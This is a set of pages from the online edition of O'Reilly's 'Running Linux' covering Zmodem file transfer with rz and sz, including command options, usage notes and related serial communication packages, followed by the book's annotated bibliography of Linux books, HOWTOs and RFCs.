Omen Technology (http://www.omen.com) offers a hardcopy manual for its RZ/SZ package (as well as detailed documentation for the PC terminal-emulation package Professional-YAM) that you can buy if the manual pages seem insufficient. You can download these packages on a shareware basis (meaning you are expected to pay a small fee) from the web site. Technical support is offered for registered RZ/SZ users. Omen Technology reports that almost all technical support problems with RZ/SZ are caused by the network, OS kernel bugs, or problems with third-party programs, not the RZ/SZ code itself.

Previous | Home | Next
G.4. lilo Command Options | Book Index | H.2. Sending and Receiving Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending and Receiving Files (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

H.2. Sending and Receiving Files

Most communications programs invoke rz and sz automatically. You can also connect to a remote system, log in, and manually invoke sz with the flags you want to use. Zmodem automatically downloads the files to your home system using the same filenames. (Zmodem tools aren't clever about filenames, so when you download to MS-DOS, be careful about getting files with names that can't be squeezed into the filename.ext DOS filename limit. If you transfer filename.extension, it arrives on your DOS host converted to filename.ext, which is probably OK. But, if you try to transfer filename.more.extension, most Zmodem utilities will give up, probably with a misleading message that the transfer completed.)

One of the most confusing things about Zmodem transfer is determining the command to use to perform the transfer. You have to remember which system you are invoking the command from and which system contains the files to transfer. A consistent way to perform Zmodem transfer is to always invoke the transfer on the remote host, whether uploading (sending to the remote host) or downloading (receiving from the remote host). For example, if you are logged in to a remote host (using C-Kermit, or Telix, or whatever) and want to send some text files from that system to your home system, you might enter something like this:

$ sz -a *.txt
sz would queue the files and successively send them back to the local system. The -a option stands for ASCII and ensures that carriage returns and newlines appear as they should on the system where the file ends up.

On the other hand, if you want to upload some files (receive them on the remote host), you would simply enter the following command:

$ rz
The remote system would then prompt something like this:
rz ready to begin transfer, type "sz file …" to your modem program
**B0100000023be50
rz waits patiently for you to switch back to the local host and give it a Zmodem send command, using sz directly, or through the software you are using. For example, if you call the remote host using ProComm, you would press Page Up and select Zmodem transfer from the pop-up menu and then enter the files to send on the input line ProComm provides.

When sending files from a Macintosh system to a Unix or Linux host via Zmodem protocol, remember that the filenames cannot have spaces in them.

The following command checks some text files and sends only the .txt and .doc files that exist on both systems and that are newer on the sending system. Conversion of Unix newlines to DOS-style carriage return/linefeed is performed automatically by most receiving Zmodem packages:

$ sz -Yan *.txt *.doc

In many versions (not all, unfortunately) you can pipe the output of a process from a remote host to sz using a dash argument (sz -), and sz automatically sends the file on to you. A filename for the output is generated by putting an s in front of the process ID of the process that pipes the standard input to sz and appending a .sz suffix. For example, to get a printout of the sz.1 manual page on the remote system (versions of sz software vary, of course), you might enter:

man sz | col -b | sz -
where col -b strips out the backspacing that was put into the formatted output by the man command to implement highlighting and underscoring on the display. The dash argument to sz tells it to send the file back to your local system. When you get offline and check, you might find the file saved locally as something like /tmp/s7750.sz. (the /tmp directory is the most common receiving directory that a given communications program uses unless the current directory is used.)

Previous | Home | Next
H. Zmodem File Transfer | Book Index | H.3. Summary of rz and sz Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary of rz and sz Options (Running Linux)

 Running LinuxSearch this book
Previous Next

H.3. Summary of rz and sz Options

Because of the prevailing poor state of RZSZ documentation in the standard Linux distributions and because RZSZ tools don't have interactive help, we're providing you with summaries of the important flags for using the Zmodem protocol for file transfer. However, you should get the manual pages and possibly other documentation you need from an FTP site or a BBS; see the earlier section "Section H.1, "Getting RZSZ"." When you use RZSZ on another system, you should be aware that the utilities may have been modified to support additional features or to disable standard features. Check the local documentation.

The rz utility recognizes the following flags:

-+

Appends to any existing file of the same name, rather than overwrite it. (This can cause a malformed file if you are retransmitting an interrupted Zmodem transfer.)

-a

Receives ASCII text and converts files to Unix newline conventions, stripping carriage returns and all characters beginning with a Ctrl-Z (the end-of-file character for the CP/M OS).

-b

Receives binary and saves the file in exactly the form it was received.

-D

Discards output. It sends data to /dev/null; this is useful for tests.

-e

Escapes the control characters. By default, sz escapes XON, XOFF, and (in older versions) DLE. This option forces the sending Zmodem program to escape others as well.

-p

Protects destination files. This option skips Zmodem transfer if a destination file of the same name already exists. (Be aware that this prevents completion of an interrupted Zmodem transfer.)

-q

Quiet exchange. Suppresses informational messages to standard output.

-t n

Changes timeout to n tenths of seconds.

-v

Turns on verbose. Not like a typical Unix utility "verbose." This flag causes a list of transferred filenames to be appended to a log file, normally /tmp/rzlog. If multiple -v flags are used, additional information is also stored to the log.

Now for sz. Most sz options are simply passed to the receiving program that performs the operation. Not all Zmodem receiving programs can execute the requested options. If sz is invoked with the $SHELL environment variable set to a restricted shell (e.g., rsh), sz restricts pathnames to the current directory and to the value of the $PUBDIR variable if set (often used with UUCP), as well as subdirectories of these directories.

The meanings of the most common sz options are:

-+

Has the Zmodem receiver utility append the transmitted data to an existing file.

-a

Sends ASCII text and converts each newline character (Unix style) in the transmitted file to a carriage return/linefeed (DOS style).

-b

Transfers the file without any translation and tells the receiving Zmodem program not to make any translation. This option is used for binary sites.

-d

Diverts path and compensates for filename and pathname incompatibilities between systems. (It's more reliable to rename files before you send them, though.) All periods (.) in a filename are changed to path-subpath separators in the transmitted pathname. (In Unix, change to / characters, and in DOS, change to backslashes. A file named foobar.bazbuzzy, for example, is transmitted as foobar/bazbuzzy.) If a stem filename has more than eight characters, a period is inserted to allow up to 11 characters. For example, a Unix file named foo.barbazbuzzy would be transmitted as foo/barbazbuzzy, but when received by the DOS Zmodem program would be stored as foo\barbazbu.zzy. (If the file is longer than that, and the receiving program cannot handle the length, the file is truncated at the limit--depending on the "wisdom" of the DOS Zmodem program.)

-e

Escapes control characters.

-f

Preserves full path. Directory prefixes are usually omitted; this forces the entire path to be sent in the transmitted filename.

-L bytes

Sets the Zmodem subpacket length in bytes. (These are not the same as Xmodem, Ymodem, or Kermit packets.) The default packet length is 128 below 300 baud, 256 above 300 baud, or 1024 above 2400 baud. A larger packet gives slightly higher throughput, while a smaller packet speeds error recovery. This isn't worth messing with for modern modems that implement an error-correcting protocol in hardware.

-l num

Sets the packet length in bytes. The receiver acknowledges correct data every num characters, where num is a value between 32 and 1024. You can use this to avoid overrun when XOFF flow control is lacking between the systems.

-n

Newer file preservation. Send the file if the destination file of the same name does not exist, and overwrite the destination file only if the source file is newer than the destination file.

-N

Newer/longer file preservation. Send the file if the destination file of the same name does not exist, and overwrite the destination file only if the source file is newer or longer than the destination file.

-p

Protects destination files. Doesn't transfer the file if the destination file exists.

-q

Suppresses reporting to the standard error.

-r

Resumes an interrupted file transfer. If the source file is longer than the destination file, the transfer begins at the offset in the source file that equals the length of the destination file. (This mode is automatically assumed in some Zmodem receiving programs.)

-t num

Timeout. Set the timeout to num tenths of seconds.

-u

Breaks file links after successful transmission. Conveniently implements a way to "collect" files to a directory they can all be sent from.

-w bytes

Limits the transmit window size to the specified number of bytes to impose flow control and limit buffering.

-v

Turns on verbose. Appends the list of transmitted filenames to the /tmp/szlog record. Extra -v options cause additional information about the transfer to be added to the record.

-y

Tells the receiving Zmodem program to overwrite any existing files having the same name.

-Y

Tells the receiving Zmodem program to overwrite any existing file with the same name, but skip sending source files that have a file with the same pathname on the destination system.

Previous | Home | Next
H.2. Sending and Receiving Files | Book Index | H.4. Some Zmodem Usage Notes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Some Zmodem Usage Notes (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

H.4. Some Zmodem Usage Notes

You can invoke sz with a special terminal test mode:

$ sz -TT
This form of invocation causes sz to output all 256 8-bit character code combinations to your terminal. If you are having problems transferring files intact, this command lets you isolate the character codes that are being trapped by the operating systems.

Calling an RZSZ utility from most versions of the UUCP cu usually fails, because most cu implementations contend for characters from the modem with RZSZ tools. (C-Kermit apparently now can call RZSZ, but this is a new feature we haven't tried.)

Previous | Home | Next
H.3. Summary of rz and sz Options | Book Index | H.5. Other Interesting Packages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Interesting Packages (Running Linux)

 Running LinuxSearch this book
Previous Next

H.5. Other Interesting Packages

There are several other packages commonly available on Linux systems that you may be interested in using. You can find out about them by reading the appropriate HOWTO files and other accompanying documentation.

The term utility is a client/server system that allows you to multiplex your serial line--that is, you can log in multiple times over a single dial-up connection. term includes additional features allowing you to run network clients (such as Telnet, FTP, and Netscape Navigator) over the serial line. You can even use term to display remote X Window System clients on your local machine. So you can simultaneously run a remote X session, download files, and send mail, for example. This capability is most useful if your modem can handle high-speed data transfer; you can get comfortable performance with a 28.8 Kbps (preferably v.34-compliant) modem.

term is somewhat like PPP (discussed in the section "Section 15.2, "Dial-up PPP"" in Chapter 15, "TCP/IP and PPP") but term can be executed as a normal user: no need for root access on either the client or server side, and no need for a special PPP dial-in server.

To use term, you need a dial-in shell account on a Unix system. You build the term software both on that Unix system and on your Linux machine. You dial in to the remote system and execute term there; it now handles all data to and from your dial-in connection. On your local machine, you place the communications program in the background and execute term to control the dial-in connection from your Linux system. The two instances of term are now communicating over the modem line.

To log in to the remote session over the term-controlled line, you can use trsh. This starts a remote shell over the modem line. You can run trsh many times (in different windows or virtual consoles), starting multiple logins to the remote machine, for example.

You can also use various network clients with term. These include Telnet, FTP, mail readers, and the like. These clients must be specially compiled to use term. Many of them are available for Linux. In order for them to work, the remote system must be connected to the Internet (or another local network); network requests are redirected to the remote system over the modem line. This way, it appears as though your system is connected to the network; you can telnet or ftp to any other system on the Internet directly from your Linux machine. The WWW browser Netscape Navigator, discussed in the section "Section 16.1.1, "Using Netscape Navigator"" in Chapter 16, "The World Wide Web and Electronic Mail", works with term as well.

Two other packages are worth mentioning. pcomm is a data-communications package that intentionally resembles the ProComm for DOS package, the most popular DOS communications package. Seyon offers a powerful suite of terminal-emulation and data-communications tools.

If we've missed your favorite file-transfer or data-communications tool, we apologize. This is certainly an area where available Linux tools offer an embarrassment of riches. On the other hand, if you are clinging to more primitive utilities, we hope this appendix has given you the opportunity to learn and use more powerful tools.

Previous | Home | Next
H.4. Some Zmodem Usage Notes | Book Index | Bibliography
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bibliography (Running Linux)

 Running LinuxSearch this book
Previous Next

Linux Documentation Project Manuals

Linux Installation and Getting Started, Matt Welsh, et. al., 1992-1994

A user's guide for Linux, a prototype for this book. The manual is targeted primarily for the Unix novice and as such does not contain the broad scope of information that is in this book. If you are new to Unix and need more information, Linux Installation and Getting Started is a great place to look.

Linux Users' Guide, Larry Greenfield, 1993-1994

An introduction to the most important commands and programs people use on Linux. It is not limited to common Unix utilities and the use of the shell (although it has a lot of essential information in these areas). It also covers a wide range of activities that you will find yourself doing on Linux, such as manipulating windows on the X Window System and using the vi and Emacs editors. The book is particularly helpful for people who have not used Unix or X before.

The Linux System Administrator's Guide, Lars Wirzenius, 1995

This is a guide to running and configuring a Linux system. There are many issues relating to systems administration that are specific to Linux, such as the needs for supporting a user community, filesystem maintenance, backups, and more. This guide covers many of the associated tasks.

Linux Network Administrator's Guide, Olaf Kirch, 1995, O'Reilly & Associates

An extensive and complete guide to networking under Linux, including TCP/IP, UUCP, SLIP, and more. This book is a very good read; it contains a wealth of information on many subjects, clarifying the many confusing aspects of network configuration. It has been published by O'Reilly & Associates as a companion volume to this book.

Linux Programmer's Guide, Sven Goldt, John D. Harper, Svenvan der Meer, Matt Welsh, 1995

A listing of functions and programming techniques, some familiar to those who have programmed on other common versions of Unix and some quite specific to Linux. While there are some hints and examples, it currently is a brief description of what is available. Contains particularly full sections on interprocess communication, curses, and porting from other Unix systems to Linux.

The Linux Kernel, David A. Rusling, 1999

Principals and concepts behind the design of Linux.

Unix and Unix Shells

Learning the Unix Operating System, Fourth Edition, Grace Todino, John Strang, Jerry Peek, 1-56592-060-01997, O'Reilly & Associates

A good introductory book on learning the Unix operating system. Most of the information should be applicable to Linux as well. We suggest reading this book if you're new to Unix and just want a quick start. It introduces basic networking commands, email, and the X Window System to novice users.

Learning the bash Shell, Second Edition, Cameron Newham, Bill Rosenblatt, 1-56592-147-X1998, O'Reilly & Associates

Introduces the bash shell as a user interface and as a programming language.

Using csh and tcsh, Paul DuBois, 1-56592-132-11995, O'Reilly & Associates

A guide to the interactive features (not programming constructs) of csh and the version more commonly used on Linux systems, tcsh.

Linux in a Nutshell, Second Edition, Ellen Siever, the Staff of O'Reilly & Associates, 1999, O'Reilly & Associates

Summarizes all commands and options, along with generous descriptions and examples that put the commands in context.

Volume 3M: X Window System User's Guide Motif Edition, Valerie Quercia, Tim O'Reilly, 1-56592-014-71993, O'Reilly & Associates

A complete tutorial and reference guide to using the X Window System for users who have installed X on their Linux systems and who want to know how to get the most out of it. Unlike some windowing systems, a lot of the power provided by X is not obvious at first sight. Includes the twm window manager and has been revised for X11 Release 5.

Applications and Technologies

Linux Multimedia Guide, Jeff Tranter, 1-56592-212-31996, O'Reilly & Associates

Describes how to install, configure, and write C programs to manipulate multimedia devices, including sound cards, CD-ROM drives, and joysticks. Also lists useful utilities and libraries for multimedia development.

Emacs manual: Eleventh Edition, Version 19.29, Richard M. Stallman, 1995, Free Software Foundation

Describes the widely used and powerful GNU Emacs editor. Written by the software's creators, this manual is the same as the comprehensive online Info documentation.

Learning GNU Emacs, Second Edition, Debra Cameron, Bill Rosenblatt, 0-937175-84-61996, O'Reilly & Associates

Provides a congenial introduction to GNU Emacs and includes a brief introduction to Emacs customization and to GNU Emacs LISP programming.

Learning the vi Editor, Sixth Edition, Linda Lamb, Arnold Robbins, 0-937175-67-61998, O'Reilly & Associates

Provides a complete guide to text editing with the standard features of vi, an editor available on nearly every Unix system and now on some non-Unix operating systems (in the form of Elvis, Vile, and other clones). Covers the use of the ex command (mode) and advanced features of vi.

sed & awk, Second Edition, Dale Dougherty, Arnold Robbins, 0-937175-59-51997, O'Reilly & Associates

Describes the use of sed and awk as powerful editors to create and modify text files. sed and awk are stream editors that process multiple files and save many hours of repetitive work in achieving the same results as a standard text editor.

Unix Power Tools, Second Edition, Jerry Peek, Tim O'Reilly, Mike Loukides, 0-679-79073-X (Random House ISBN)1997, O'Reilly & Associates

Offers Unix utility tips, tricks, concepts, and freeware. Covers add-on utilities and how to take advantage of clever features in the most popular Unix utilities. It includes a CD-ROM with source and popular binaries.

The TeX book, Donald E. Knuth, 0-201-13448-91986, Addison-Wesley Publishing Co.

Provides the first, and still definitive, reference to the TeX text-formatting language. Written by the creator of TeX.

LaTeX--A Document Preparation System, LeslieLamport, , 0-201-15790-X1994, Addison-Wesley Publishing Co.

A very readable guide to the LaTeX extension to TeX, by the creator of LaTeX.

Practical SGML, Second Edition, Eric van Herwijnen, 1994, Kluwer Academic Publishers

Provides an excellent introduction to the Standard Generalized Markup Language (ISO 8879-1986) for creating structured documents. There are several flawed books on this subject out there, but this one is just about right.

The SGML Handbook, Charles F. Goldfarb, 0-19-853737-91991, Clarendon Press

Provides the authoritative "bible" on Standard Generalized Markup Language. Contains the complete text of the standard for SGML, ISO 8879-1986, with the author's annotations. Charles Goldfarb is the father of SGML and was the technical leader of the committee that developed the standard. This book is expensive, but costs less than ISO 8879 alone. It is an essential resource for the serious SGML tools or documentation-systems developer.

The Internet

The Whole Internet: The Next Generation, Kiersten Conner, Ed Krol, 1-56592-063-5Forthcoming, O'Reilly & Associates

Provides a comprehensive, bestselling introduction to the Internet, but it's helpful to both novices and veterans. The book pays special attention to tools to help you find World Wide Web information. It has chapters on email, news, browsing, security, online banking and personal finance, games, creating web pages, esoteric and emerging technologies, and commerical and financial resources. There's also a catalog of useful web resources.

Zen and the Art of the Internet: A Beginner's Guide, Fourth Edition, Brendan P. Kehoe, 0-13-010778-61995, PTR Prentice Hall

Introduction to the Internet, aimed at the novice user. It covers topics ranging from email to Usenet news to Internet folklore. An electronic text version of the first edition (1992) of this book is available via anonymous FTP and may be freely distributed and printed. See "Internet Resources" later in this bibliography.

The Matrix: Computer Networks and Conferencing Systems Worldwide, John S. Quarterman, 0-13-565607-91989, Digital Press

A massive listing of different networks around the world.

HTML: The Definitive Guide, Third Edition, Chuck Musciano, Bill Kennedy, 1-56592-175-51998, O'Reilly & Associates

A comprehensive guide to the use of current HTML features for writing World Wide Web pages, including browser-specific extensions.

Networks and Communications

Internetworking with TCP/IP, Volume 001: Principles, Protocols, Architecture, Douglas R. Comer, 0-13-468505-91995, Prentice-Hall International

Provides a comprehensive background for understanding the Internet suite of protocols and how they are used in modern networking.

TCP/IP Illustrated, Volume 1: The Protocols, W. Richard Stevens, 0-201-63346-91995, Addison-Wesley

The first volume in a comprehensive series of three books about the protocols used in the Internet. Makes extensive use of the tcpdump program to show what network packets look like.

TCP/IP Network Administration, Second Edition, Craig Hunt, 0-937175-82-X1997, O'Reilly & Associates

A complete guide to setting up and running a TCP/IP network. While this book is not Linux specific, roughly 90 percent of it is applicable to Linux. Coupled with the Linux NET-3-HOWTO and Linux Network Administrator's Guide, this is a great book discussing the concepts and technical details of managing TCP/IP. Covers setting up a network, configuring network applications, routing mail and resolving addresses, trouble- shooting, and setting up security.

Samba--Integrating Unix and Windows, John D. Blair, 1998

A comprehensive guide to setting up Samba that contains lots of examples and a good introduction into Windows networking protocols.

DNS and BIND, Third Edition, Cricket Liu, Paul Albitz, 1-56592-010-41998, O'Reilly & Associates

Provides thorough treatment of the Internet Domain Name System and of the Unix implementation: Berkeley Internet Name Domain (BIND). An important resource for system administrators, because this book shows how to set up and maintain the DNS software on a network.

Managing NFS and NIS, Hal Stern, 0-937175-75-71991, O'Reilly & Associates

Describes management of the Network File System and the Network Information System for system administrators who need to set up and manage a network filesystem installation and network-information services. Includes PC/NFS and automounter configuration.

sendmail, Second Edition, Bryan Costales, Eric Allman, 1-56592-056-21997, O'Reilly & Associates

A hefty and possibly intimidating book, but really a fine and complete description of how to configure sendmail. Includes extensive reference material.

Apache--The Definitive Guide, Ben Laurie, Peter Laurie, 1-56592-250-61997, O'Reilly & Associates

Explains how to install and configure the Apache web server, including Server-Side. Covers how to write external modules using the Apache API.

Programming Languages and Utilities

The C Programming Language, Second Edition, Brian Kernighan, Dennis Ritchie, 0-13-110362-81988, Prentice Hall

The classic reference on the C language, by its creators. Updated to cover ANSI C in the second edition.

Advanced Programming in the Unix Environment, Richard Stevens, 0-201-56317-71992, Addison-Wesley Publishing Co.

Introduces and describes the use of Unix system calls in detail.

Using and Porting GNU CC for Version 2.8, Richard M. Stallman, Free Software Foundation

Discusses many gcc command options, language extensions, and other considerations in using the GNU C compiler.

Unix Shell Programming, Stephen Kochan, Patrick Wood, 0-672-48448-X1990, Hayden Press

A well-known guide to writing shell scripts.

Learning Perl, Second Edition, Randal L. Schwartz, Tom Christiansen, 1-56592-042-21997, O'Reilly & Associates

Provides a hands-on tutorial designed to get you writing useful Perl scripts as quickly as possible. Perl provides a portable replacement (Unix, DOS, and other operating systems) for shell programming that incorporates a superset of sed and awk functionality.

Programming Perl, Second Edition, Larry Wall, Randal L. Schwartz, 0-937175-64-11996, O'Reilly & Associates

Provides an authoritative guide to the powerful and portable Perl programming language, co-authored by its creator, Larry Wall.

Advanced Perl Programming, Sriram Srinivasan, 1-56592-220-41997, O'Reilly & Associates

Covers many difficult and rarely described topics in Perl programming like embedding and extending the Perl interpreter, networking, and building complex data structures.

Perl Cookbook, Tom Christiansen, Nathan Torkington, 1-56592-243-31998, O'Reilly & Associates

Contains literally hundreds of ready-to-use Perl code snippets for Perl programs.

Tcl and the Tk Toolkit, John K. Ousterhout, 0-20-63337-X1994, Addison-Wesley Publishing Co.

Describes the Tcl and Tk languages. Written by the inventor, most of the book is devoted to a discussion of Tk commands and widgets. Also tells how to embed Tcl and Tk in C programs.

Tcl/Tk in a Nutshell, Paul Raines, Jeff Tranter, 1-56592-433-91999, O'Reilly & Associates

A quick-ref to all Tcl and Tk commands as well as popular extensions.

Java in a Nutshell, Second Edition, David Flanagan, 1-56592-183-61997, O'Reilly & Associates

A reference work on the Java language with some tutorial sections and examples.

Programming with Qt, Matthias Kalle Dalheimer, 1-56592-588-21999, O'Reilly & Associates

A thorough introduction to the Qt toolkit. This readable guide is a good source of information on advanced Qt programming topics.

Managing Projects with make, Second Edition, Andrew Oram, Steve Talbott, 0-937175-90-01991, O'Reilly & Associates

Describes all the basic features of the make utility and provides guidelines to programmers on using make for managing large compilation projects.

GNU Make, Version 3.77, Richard M. Stallman, Roland McGrath, 1998, Free Software Foundation

Describes the powerful GNU version of the make utility--both basic use and advanced features.

Software Portability with imake, Second Edition, Paul DuBois, 1-56592-055-41996, O'Reilly & Associates

Describes the imake utility, which works with make to let code be compiled and installed on different Unix machines.

POSIX Programmer's Guide, Donald Lewine, 0-937175-73-01991, O'Reilly & Associates

Explains the X/Open POSIX standards and is a reference for the POSIX.1 programming library, helping you write more portable programs. Linux is intended to be POSIX-compliant, although its compliance is uncertified.

Debugging with GDB: The GNU Source-Level Debugger for GDC Version 4.18, Richard M. Stallman, Cygnus Solutions, 1999, Free Software Foundation

Describes how to use the gdb debugger, the standard debugger on Linux and probably the most popular debugger in the Unix world.

Learning Python, Mark Lutz, David Asher, 1-56592-464-91999, O'Reilly & Associates

A gentle introduction to Python.

Programming Python, Mark Lutz, 1-56592-197-61996, O'Reilly & Associates

Teaches you everything you ever wanted to know about Python, including text processing, writing graphical user interfaces, and embedding Python.

Thinking in Java, Bruce Eckel, 0-13-659723-81998, Prentice-Hall PTR

Covers most Java topics and also includes valuable general programming hints.

Exploring Java, Second Edition, Patrick Niemeyer, Joshua Peck, 1-56592-184-41997, O'Reilly & Associates

A general introduction to the Java programming language from the very extensive O'Reilly Java series.

Core Java 2, Volume 1: Fundamentals, Fourth Edition, Gary Cornell, Cay S. Horstmann, 0-13-565755-51999, Prentice Hall

A thorough--if lengthy--introduction to all basic Java topics. Part of the SunSoft Press Java series.

System Administration

Unix System Administration Handbook, Second Edition, Evi Nemeth, Garth Snyder, Scott Seebass, 0-13-933441-61995, Prentice Hall

The most frequently recommended book on the subject.

Essential System Administration, Second Edition, AEleen Frisch, 0-937175-80-31995, O'Reilly & Associates

Guides you through the system administration tasks on a Unix system.

Practical Unix and Internet Security, Second Edition, Simson Garfinkel, Gene Spafford, 0-937175-72-21996, O'Reilly & Associates

An excellent book on Unix system security. It taught us quite a few things that we didn't know, even with several years of Unix system-administration experience. As with most Unix books, this book is geared for large systems, but almost all of the content is relevant to Linux. Explains network security (including UUCP, NFS, Kerberos, and firewall machines) in detail.

Volume 8: X Window System Administrator's Guide, Linda Mui, Eric Pearce, 1-56592-052-X1992, O'Reilly & Associates)

Covers detailed system-administration guidance for the X Window System and X-based networks for X administrators. Can be purchased with or without a CD-ROM.

Personal Computer Hardware

The Winn L. Rosch Hardware Bible, Winn L. Rosch, 1-56686-127-61994, Brady Publishing Div. Macmillan Computer Publishing

A comprehensive guide to PC components and peripherals. You will find this book useful when purchasing, maintaining, repairing, and upgrading PCs. Though oriented primarily toward the Intel and clone systems, it is broadly useful because it covers technology, theory, and practice in computer architecture. It is applicable to all significant personal computer systems, as well as containing information specific to the ISA, EISA, and Microchannel systems (and the various secondary buses). This book can probably tell you what you need to know about microprocessors, memory, modems, MIDI, and more.

HOWTOs (Partial List)

Installation HOWTO, Eric Raymond

Describes how to obtain and install a distribution of Linux, similar to the information presented in Chapter 3, "Installation and Initial Configuration".

The Linux Distribution HOWTO, Eric Raymond

Lists Linux distributions available via mail order and anonymous FTP. It also includes information on other Linux-related goodies and services.

XFree86 HOWTO, Eric Raymond

Describes how to install and configure the X Window System software for Linux. See Chapter 10, "Installing the X Window System", for more about the X Window System.

Bootdisk HOWTO, Tom Fawcett

Discusses the creation and uses of Linux boot disks, covering various methods and systems. A good resource for new Linux users because it covers basic information on disk types and disk components. Gives example file setups as well as references to an FAQ, related software, and other HOWTOs.

Linux BootPrompt HOWTO, Paul Gortmaker, ed.

Offers an overview of boot-prompt arguments and explains the commonly used LILO booting program. Includes a comprehensive list of kernel parameters and device parameters, as well as popular software and hardware options for booting a Linux system.

The CD Writing HOWTO, Winfried Trümper

Covers the installation of devices that write CD-ROMs and how to use them to burn a CD-ROM.

UUCP HOWTO, Guylhem Aznar

A brief introduction to installing UUCP, with special attention to the Taylor version that is standard for Linux.

Hardware Compatibility HOWTO, Patrick Reignen

Contains an extensive list of hardware supported by Linux. While this list is far from complete, it should give users a general picture of which hardware devices are supported by the system.

SCSI Programming HOWTO, Heiko Eissfeldt

Information on programming the generic Linux SCSI interface.

PCI HOWTO, Michael Will

Offers a comprehensive look at PCI-Linux compatibility. Contains a thorough description of why to use PCI and explains how PCI can be used with Linux, including sections on Ethernet cards, video cards, and motherboards. Summarizes the author's research on PCI-Linux compatibility, with specific reports on both successes and problems, and recommends hardware to use with PCI.

The Linux CD-ROM HOWTO, Jeff Tranter

Lists supported CD-ROM drives and explains how to install, configure, and read from a drive. Also describes some useful utilities that can be used with a CD-ROM drive.

Kernel HOWTO, Brian Ward

Deals with configuring, compiling, and patching the kernel. Provides additional information on related material, including programs and modules, warns of several common problems, and discusses tips for using the kernel. Includes a list of applicable HOWTOs.

NET-3 HOWTO, Terry Dawson

Describes installation, setup, and configuration of the NET-3 TCP/IP software under Linux, including SLIP. If you want to use TCP/IP on your Linux system, this document is a must read.

The Linux Ethernet HOWTO, Paul Gortmaker, ed.

Describes the various Ethernet devices supported by Linux and explains how to configure each of them for use by the Linux TCP/IP software. This document is closely related to the NET-3-HOWTO.

PPP HOWTO, Robert Hart

Focuses on connecting PCs running Linux to a PPP server. Covers configuring kernels and modems, setting up the PPP files and connection, and automating and shutting down connections. Includes troubleshooting and debugging tips and sources of further PPP information.

DNS HOWTO, Nicolai Langfeldt

Focuses on setting up a simple DNS name server. Includes sample files for DNS configuration, tips on maintaining a bug-free server, and scripts for automatic setup. Also provides a brief reference list of online and printed DNS documentation.

NIS HOWTO, Thorsten Kukuk

Compares NIS versus NIS+ and NIS versus NYS. Describes setup for both NIS and NYS, including tips on installation, common problems, and server programs. Presents both a helpful glossary of NIS-related terms and an FAQ address.

Firewall HOWTO, Mark Grennan

Defines firewalls and their pros and cons. Details the basic setup for firewalls on a PC running Linux, focusing on proxy servers. Includes a small section on advanced firewall configuration.

ISP Hookup HOWTO, Egil Kvaleberg

Deals with basic Internet Service Provider configuration. Covers surfing the Net, sending and receiving email, reading news, and establishing automated connections. Summarizes related information with a helpful list of online documentation, including other HOWTOs.

GCC HOWTO, Daniel Barlow

Describes the installation and setup of the gcc compiler. Covers compiling, debugging, linking, and dynamic loading of programs with gcc.

Shadow Password HOWTO, Michael H. Jackson

Deals with installing, compiling, and configuring Shadow Suite, a Linux password program. Explains why you should shadow the passwd file and lists other programs that need to work in conjunction with Shadow Suite. Includes an FAQ and changes from the previous release.

The Linux Printing HOWTO, Grant Taylor

Describes how to configure printing software under Linux, such as lpr. Configuration of printers and printing software under Unix can be confusing at times; this document sheds some light on the subject.

DOSEMU HOWTO, Uwe Bonnes and David Hodges

Introduces Dosemu with a run down on the particulars of development and versions. Explains compiling and installing it, then discusses compatibility with hardware and software for X, Windows, and Netware, as well as video and sound. Includes sections on identifying and fixing problems.

UMSDOS HOWTO, Jacques Gelinas,

Explains the availability, documentation, installation, and operation of UMSDOS, a Linux filesystem. Includes explanations of pseudo-root, booting with UMSDOS, and DOS partitions. Discusses reasons to use UMSDOS and compares it to Ext2.

Commercial HOWTO, Mr. Poet,

Less of a "HOWTO" than a list of commercial software and applications, the Linux Commercial HOWTO is more for those interested in commercial Linux opportunities. Discusses methods of marketing applications and lists currently available Linux products.

Linux Access HOWTO, Michael De La Rue

Focuses on information for users with physical disabilities or who may have difficulty using Linux with standard computer hardware. Includes suggestions for obtaining aids (such as voice-recognition software) and lists other sources where related information can be obtained.

Ftape HOWTO, Kevin Johnson

Describes the installation and use of the floppy tape driver that works on QIC-80 and QIC-40 compatible drives. This driver lets you attach tape drives to a floppy-disk controller.

Internet Requests For Comments

RFC 1597. Address Allocation for Private Internets, Y. Rekhter, T. J. Watson

Lists the IP network numbers private organizations can use internally without having to register these network numbers with the Internet Assigned Numbers Authority (IANA). The document also discusses the advantages and disadvantages of using these numbers.

RFC 1340. Assigned Numbers, J. Postel, J. Reynolds

Defines the meaning of numbers used in various protocols, such as the port numbers standard TCP and UDP servers are known to listen on, and the protocol numbers used in the IP datagram header.

RFC 1144. Compressing TCP/IP Headers for Low-Speed Serial Links, V. Jacobson

Describes the algorithm used to compress TCP/IP headers in CSLIP and PPP.

RFC 1033. Domain Administrators Operations Guide, M. Lottor

Together with its companion RFCs, RFC 1034, and RFC 1035, this is the definitive source on DNS, the Domain Name System.

RFC 1034. Domain Names-Concepts and Facilities, P. V. Mockapetris

A companion to RFC 1033.

RFC 1035. Domain Names--Implementation and Specification, P. V. Mockapetris

A companion to RFC 1033.

RFC 974. Mail Routing and the Domain System, C. Partridge

Describes mail routing on the Internet. It tells the full story about MX records.

RFC 977. Network News Transfer Protocol, B. Kantor, P. Lapsley

Defines NNTP, the common news transport used on the Internet.

RFC 1094. NFS: Network File System Protocol specification, B. Nowicki,

The formal specification of the NFS and mount protocols (Version 2).

RFC 1055. Nonstandard for Transmission of IP Datagrams over Serial Lines: SLIP, J. L. Romkey,

Describes SLIP, the Serial Line Internet Protocol.

RFC 1057 RPC: Remote Procedure Call Protocol Specification: Version 2, Sun Microsystems, Inc.

The formal specification of the encoding used for remote procedure calls, which underlie both NFS and NIS.

RFC 1058. Routing Information Protocol, C. L. Hedrick

Describes RIP, which is used to exchange dynamic routing information within LANs and WANs.

RFC 1535. A Security Problem and Proposed Correction with Widely Deployed DNS Software, E. Gavron

Discusses a security problem with the default search list used by older versions of the BIND resolver library.

RFC 1036. Standard for the Interchange of Usenet messages, R.Adams, M. R. Horton

Describes the format of Usenet news messages and how they are exchanged on the Internet as well as on UUCP networks. A revision of this RFC is expected to be released in the near future.

